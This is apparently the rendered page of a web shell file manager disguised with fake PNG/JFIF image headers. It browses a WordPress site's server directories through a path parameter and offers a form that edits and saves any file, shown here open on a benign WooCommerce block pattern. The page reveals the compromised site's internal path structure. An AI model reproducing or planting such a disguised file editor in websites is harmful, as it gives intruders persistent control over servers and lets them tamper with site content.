�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2F'>www.stick-clip.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2F'>htdocsold</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2Fwoocommerce%2F'>woocommerce</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2Fwoocommerce%2Fpatterns%2F'>patterns</a>/</p><hr><h3>✏️ Editing: intro-centered-content-with-image-below.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Title: Centered Content with Image Below
 * Slug: woocommerce-blocks/centered-content-with-image-below
 * Categories: WooCommerce, Intro
 */

declare(strict_types=1);

$header  = __( &#039;Find your shade&#039;, &#039;woocommerce&#039; );
$content = __( &#039;Explore our exclusive collection of sunglasses, crafted to elevate your look and safeguard your eyes. Find your perfect pair and see the world through a new lens.&#039;, &#039;woocommerce&#039; );
$button  = __( &#039;Shop now&#039;, &#039;woocommerce&#039; );
$image_0 = plugins_url( &#039;assets/images/pattern-placeholders/girls-in-the-hills.jpg&#039;, WC_PLUGIN_FILE );

?&gt;

&lt;!-- wp:group {&quot;metadata&quot;:{&quot;name&quot;:&quot;Intro&quot;},&quot;align&quot;:&quot;full&quot;,&quot;style&quot;:{&quot;spacing&quot;:{&quot;padding&quot;:{&quot;top&quot;:&quot;calc( 0.5 * var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal)))&quot;,&quot;bottom&quot;:&quot;calc( 0.5 * var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal)))&quot;,&quot;left&quot;:&quot;var(--wp--style--root--padding-left, var(--wp--custom--gap--horizontal))&quot;,&quot;right&quot;:&quot;var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal))&quot;},&quot;margin&quot;:{&quot;top&quot;:&quot;0&quot;,&quot;bottom&quot;:&quot;0&quot;}}},&quot;className&quot;:&quot;alignfull&quot;,&quot;layout&quot;:{&quot;type&quot;:&quot;constrained&quot;,&quot;justifyContent&quot;:&quot;center&quot;}} --&gt;
&lt;div class=&quot;wp-block-group alignfull&quot; style=&quot;margin-top:0;margin-bottom:0;padding-top:calc( 0.5 * var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal)));padding-right:var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal));padding-bottom:calc( 0.5 * var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal)));padding-left:var(--wp--style--root--padding-left, var(--wp--custom--gap--horizontal))&quot;&gt;&lt;!-- wp:spacer {&quot;height&quot;:&quot;calc( 0.25 * var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal)))&quot;} --&gt;
&lt;div style=&quot;height:calc( 0.25 * var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal)))&quot; aria-hidden=&quot;true&quot; class=&quot;wp-block-spacer&quot;&gt;&lt;/div&gt;
&lt;!-- /wp:spacer --&gt;

&lt;!-- wp:group {&quot;metadata&quot;:{&quot;name&quot;:&quot;Content&quot;},&quot;layout&quot;:{&quot;type&quot;:&quot;constrained&quot;,&quot;contentSize&quot;:&quot;580px&quot;}} --&gt;
&lt;div class=&quot;wp-block-group&quot;&gt;&lt;!-- wp:heading {&quot;textAlign&quot;:&quot;center&quot;,&quot;align&quot;:&quot;wide&quot;,&quot;fontSize&quot;:&quot;xx-large&quot;} --&gt;
&lt;h2 class=&quot;wp-block-heading alignwide has-text-align-center has-xx-large-font-size&quot;&gt;&lt;?php echo esc_html( $header ); ?&gt;&lt;/h2&gt;
&lt;!-- /wp:heading --&gt;

&lt;!-- wp:paragraph {&quot;align&quot;:&quot;center&quot;} --&gt;
&lt;p class=&quot;has-text-align-center&quot;&gt;&lt;?php echo esc_html( $content ); ?&gt;&lt;/p&gt;
&lt;!-- /wp:paragraph --&gt;

&lt;!-- wp:buttons {&quot;layout&quot;:{&quot;type&quot;:&quot;flex&quot;,&quot;justifyContent&quot;:&quot;center&quot;}} --&gt;
&lt;div class=&quot;wp-block-buttons&quot;&gt;&lt;!-- wp:button {&quot;textAlign&quot;:&quot;center&quot;} --&gt;&lt;div class=&quot;wp-block-button&quot;&gt;&lt;a class=&quot;wp-block-button__link has-text-align-center wp-element-button&quot;&gt;&lt;?php echo esc_html( $button ); ?&gt;&lt;/a&gt;&lt;/div&gt;&lt;!-- /wp:button --&gt;&lt;/div&gt;
&lt;!-- /wp:buttons --&gt;&lt;/div&gt;
&lt;!-- /wp:group --&gt;

&lt;!-- wp:spacer {&quot;height&quot;:&quot;var:preset|spacing|30&quot;} --&gt;
&lt;div style=&quot;height:var(--wp--preset--spacing--30)&quot; aria-hidden=&quot;true&quot; class=&quot;wp-block-spacer&quot;&gt;&lt;/div&gt;
&lt;!-- /wp:spacer --&gt;

&lt;!-- wp:image {&quot;id&quot;:13691,&quot;sizeSlug&quot;:&quot;full&quot;,&quot;linkDestination&quot;:&quot;none&quot;,&quot;align&quot;:&quot;wide&quot;} --&gt;
&lt;figure class=&quot;wp-block-image alignwide size-full&quot;&gt;&lt;img src=&quot;&lt;?php echo esc_url( $image_0 ); ?&gt;&quot; alt=&quot;&quot; class=&quot;wp-image-13691&quot; /&gt;&lt;/figure&gt;
&lt;!-- /wp:image --&gt;

&lt;!-- wp:spacer {&quot;height&quot;:&quot;calc( 0.25 * var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal)))&quot;} --&gt;
&lt;div style=&quot;height:calc( 0.25 * var(--wp--style--root--padding-right, var(--wp--custom--gap--horizontal)))&quot; aria-hidden=&quot;true&quot; class=&quot;wp-block-spacer&quot;&gt;&lt;/div&gt;
&lt;!-- /wp:spacer --&gt;&lt;/div&gt;
&lt;!-- /wp:group --&gt;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.stick-clip.at%2Fhtdocsold%2Fwp-content%2Fplugins%2Fwoocommerce%2Fpatterns'>🔙 Back</a></p>